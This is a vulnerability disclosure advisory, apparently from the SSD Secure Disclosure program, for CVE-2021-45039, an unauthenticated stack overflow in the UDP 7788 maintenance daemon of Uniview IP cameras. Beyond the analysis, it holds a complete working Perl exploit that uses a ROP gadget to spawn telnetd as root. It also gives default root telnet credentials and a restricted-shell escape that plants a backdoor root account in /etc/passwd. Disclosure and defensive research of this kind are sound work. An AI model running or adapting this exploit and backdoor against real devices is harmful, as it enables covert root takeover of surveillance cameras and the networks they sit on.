TL;DR
Find out how a vulnerability in multiple Uniview devices allow remote unauthenticated attackers to trigger a remote code execution vulnerability in the products the company offers.
Vulnerability Summary
A vulnerability in Uniview proprietary protocol listening on UDP port 7788 allows remote unauthenticated attackers to overflow an internal buffer used by the product. By exploiting the vulnerability a remote attackers to gain root access to the device.
CVE
CVE-2021-45039
Credit
An independent security researcher has reported this bypass to the SSD Secure Disclosure program.
Affected Versions
- Multiple models of the vendor IPC_G61 / IPC21 / IPC23 / IPC32 / IPC36 / IPC62 / IPC_HCMN / SC-31 / SC-37 / SC-20 / SC-26
- The full affected models list can be found at https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm
Vendor Response
The vendor has issued a an advisory: https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm
Vulnerability Analysis
Using unpack, binwalk and ubidump and the firmware from http://en.ezcloud.uniview.com/version/IPC/IPC_G6103/GIPC-B6103.16.10.B25.201218/GIPC-B6103.16.10.B25.201218.zip, you can see that /program/bin/maintain listens on UDP port 7788.
If you load /program/bin/maintain in Ghidra you can find a in FUN_00013074,
case 10:
if ((int)(local_27 - 2) < 0x41) {
if ((local_20 & 0x400) == 0) {
local_34 = __isoc99_sscanf(param_3 + local_1c + 2, "%[^:]:%hu", auStack336, &local_3a); // bug here
To reach the vulnerable location and redirect execution you will need to implement the custom TLV-based protocol this code uses.
The exploit found below will smash stack and spawn telnetd on the camera, you can then telnet in as root/123456 (password for telnetd is not changed when changing in web UI).
You will land in a restricted shell (uvsh), to break out of the restricted shell, ECHO command in uvsh allows file writes but only inside /tmp can overwrite /tmp/bin/killwatchdog.sh, this script gets called from /program/bin/reboot.sh when executing update -tftp / all from the uvsh:
ECHO -e "#!/bin/sh\necho toot:dIkAjCy0Zma2s:0:0::/root:/bin/sh >> /etc/passwd\nmv /sbin/reboot /sbin/reboot.org\n" > /tmp/bin/killwatchdog.sh
uvsh> update -tftp / all
wait for "/tmp/bin/reboot.sh: line 28: reboot: not found"
Exploit
# exploit for uniview maintain daemon
use IO::Socket;
use strict;
my $bla;
my $sock = IO::Socket::INET->new(
Proto => 'udp',
PeerPort => 7788,
PeerAddr => '192.168.0.153',
) or die "Could not create socket: $!\n";
binmode($sock);
# packet is [opcode] [unknown] [2 bytes for length, with itself included] ["stuff"] meaning my packet payload
my $opcode = "\x07" ; # not important
my $unk = "\x01" ; # not important
my $payload = $opcode . $unk;
# below address is for system("telnetd &");
my $stuff = "AAAABBBB" . pack("l",0x00013a58) . "DDDD" . # these 20 bytes are used for the authentication flow, not relevant in this scenario
"\x0a"; # vuln tlv
# first char below is actually the length of the tlv (length not used here), must be < 0x43 to trigger bug
$stuff .= "\x42";
$stuff .= "E" x 328; # 328 bytes of filler
my $r11 = pack("l",0x43434343); # r11 not important
$stuff .= $r11 .
pack("l",0x0001b86c); # 0x0001b86c: pop {r4, r5, r6, r7, r8, sb, sl, pc};, actual pc is defined in $stuff above
my $packet = $payload . pack("n",length($payload . $stuff)+2) . $stuff; # pad length of payload to include payload field
print "length of pkt " . int(length($payload . $stuff)+2) . "\n";
print $sock $packet;
$sock->close;